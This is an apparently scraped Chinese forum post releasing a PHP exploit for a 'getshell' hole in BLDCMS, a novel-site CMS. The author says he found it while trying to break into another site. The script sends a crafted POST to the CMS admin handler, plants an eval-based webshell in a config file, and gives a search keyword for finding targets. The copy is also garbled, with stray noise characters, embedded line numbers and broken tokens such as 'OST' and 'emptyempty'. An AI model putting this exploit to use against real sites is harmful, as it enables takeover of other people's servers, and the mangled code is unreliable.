BLDCMS(白老大小说) Getshell 0day EXP

admin

之前想搞一个黑阔站 发现旁站有一个站用了BLDCMS 我就下载看了.. 找到了一个getshell漏洞


3 ?& v  q) g& t: A) h0 i2 Z" L& e+ D话说昨晚晴天小铸在90sec发现有人把这getshell漏洞的分析发出来了 擦 居然被人先发了
% h$ x1 `6 @. Y4 }
既然都有人发了 我就把我之前写好的EXP放出来吧

view source print?01.php;">
& y; k0 V8 t* T02.<!--?php
+ X/ B, T9 J; U" l03.echo "-------------------------------------------------------------------
04.
; X, Q4 S: B7 w) a05.------------\r\n              BLDCMS(白老大php小说小偷) GETSHELL 0DAY EXP
06.
07.(GPC=Off)\r\n            Vulnerability discovery&Code by 数据流@wooyun
08.
09.QQ:981009941\r\n                                2013.3.21\r\n            
/ r- _& N7 I- e5 R5 e' X10.
11.
12.用法:php.exe EXP.php www.baidu.com /cms/ pass(一句话密码
2 _- b  w- l8 Z13.
14.)\r\n                    搜索关键字:\"开发者: 白老大小说\"\r\n-----------
15.
16.--------------------------------------------------------------------\r\n";
+ i  t/ C+ }- A6 `. w17.$url=$argv[1];
18.$dir=$argv[2];
9 \. R2 g* B" a  J$ S% ~5 i! W" s19.$pass=$argv[3];
20.$eval='\';eval($_POST['.'"'.$pass.'"'.']);\'';
21.if (emptyempty($pass)||emptyempty($url))
22.{exit("请输入参数");}
% t! w* ]3 A# Z( p( {23.else
* |% e0 V  J. V' M24.{
25.$fuckdata='sitename=a&qq=1&getcontent=acurl&tongji=a&cmsmd5=1&sqlite='.$ev
. O' F' }& K, G; G  i26.
27.al;
28.$length = strlen($fuckdata);
7 i# \7 Z$ w9 t1 N* |" l8 F7 R29.function getshell($url,$pass)
30.{
! K% K) i4 e' y% B& V5 T4 s31.global $url,$dir,$pass,$eval,$length,$fuckdata;
- j8 p9 X; A+ n) p2 P) s! x32.$header = "OST /admin/chuli.php?action=a_1 HTTP/1.1\r\n";
33.$header .= "Content-Type: application/x-www-form-urlencoded\r\n";
34.$header .= "User-Agent: MSIE\r\n";
35.$header .= "Host:".$url."\r\n";
36.$header .= "Content-Length: ".$length."\r\n";
37.$header .= "Connection: Close\r\n";
38.$header .="\r\n";
39.$header .= $fuckdata."\r\n\r\n";
7 D- V- D& }: O, @/ G8 N( C40.$fp = fsockopen($url, 80,$errno,$errstr,15);
' U) V! E, T. v! q1 y1 W41.if (!$fp)
42.{
43.exit ("利用失败:请检查指定目标是否能正常打开");
44.}
1 s' w; L( s. H& z# Z) `4 I4 a+ a45.else{ if (!fputs($fp,$header))
46.{exit ("利用失败");}
" R# T9 ]8 L) |3 N1 L: e8 g47.else
7 [4 t. Y+ P' Q. ~48.{
49.$receive = '';
. _7 p+ l- J( B. F50.while (!feof($fp)) {
( X/ A+ G8 J. N0 N" s" l  u51.$receive .= @fgets($fp, 1000);
4 Y& n: P3 w; M52.}
53.@fclose($fp);
! O! P0 h) u4 e$ c54.echo "$url/$dir/conn/config/normal2.php passpass(如连接失败 请检查目标
55.
/ y1 i, }* d% H1 c+ A+ a/ x: J56.GPC是否=off)";
57.}}
58.}
59.}
60.getshell($url,$pass);
61.?-->



- k3 g/ h& l$ {7 @& sby 数据流